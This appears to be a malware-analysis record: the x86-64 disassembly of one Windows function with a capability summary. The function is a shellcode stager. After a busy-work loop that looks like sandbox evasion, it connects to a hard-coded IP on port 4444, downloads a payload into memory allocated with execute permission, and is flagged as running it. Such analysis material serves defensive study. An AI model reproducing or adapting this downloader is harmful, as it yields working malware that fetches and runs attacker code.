Function at 0x2c7a81ce0
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp - 0x14], 1
cmp dword [rbp + 0x18], 1
jne 0x2c7a81f94
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x2c7a81f94
mov rax, qword [rbp - 0x20]
mov edx, 0x49c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp - 0x24], eax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 0x30], rax
mov ecx, 0x1c18
call sym.malloc
mov qword [rbp - 0x38], rax
mov dword [rbp - 8], 0
mov dword [rbp - 0x3c], 0
mov dword [rbp - 4], 0
jmp 0x2c7a81de0
call sym.rand
mov edx, dword [rbp - 4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp - 0x38]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x705
jle 0x2c7a81d9d
mov dword [rbp - 4], 0
jmp 0x2c7a81e0f
mov eax, dword [rbp - 4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x38]
add rax, rdx
mov eax, dword [rax]
add dword [rbp - 8], eax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x705
jle 0x2c7a81df2
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.free
cmp qword [rbp - 0x30], 0
je 0x2c7a81f94
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x115c
lea rdx, str.132.163.25.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp - 0x48], rax
cmp qword [rbp - 0x48], 0
je 0x2c7a81f94
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x84e03200
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.DYpGdzIeBSgwckjiZ_WBqlexEQFSRgPiwGSk_VQVH_jAJqSCagx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp - 0x50], rax
cmp qword [rbp - 0x50], 0
je 0x2c7a81f94
mov dword [rbp - 0x6c], 0x3380
lea rdx, [rbp - 0x6c]
mov rax, qword [rbp - 0x50]
mov r9d, 4
mov r8, rdx
mov edx, 0x1f
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionA]
call rax
mov dword [rbp - 0x54], eax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x7a1200
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x50]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov dword [rbp - 0x64], eax
cmp dword [rbp - 0x64], 0
je 0x2c7a81f94
lea rcx, [rbp - 0x70]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x50]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov dword [rbp - 0x68], eax
mov eax, dword [rbp - 0x70]
mov eax, eax
add qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x70]
test eax, eax
jne 0x2c7a81f60
mov eax, dword [rbp - 0x14]
add rsp, 0xb0
pop rbp
ret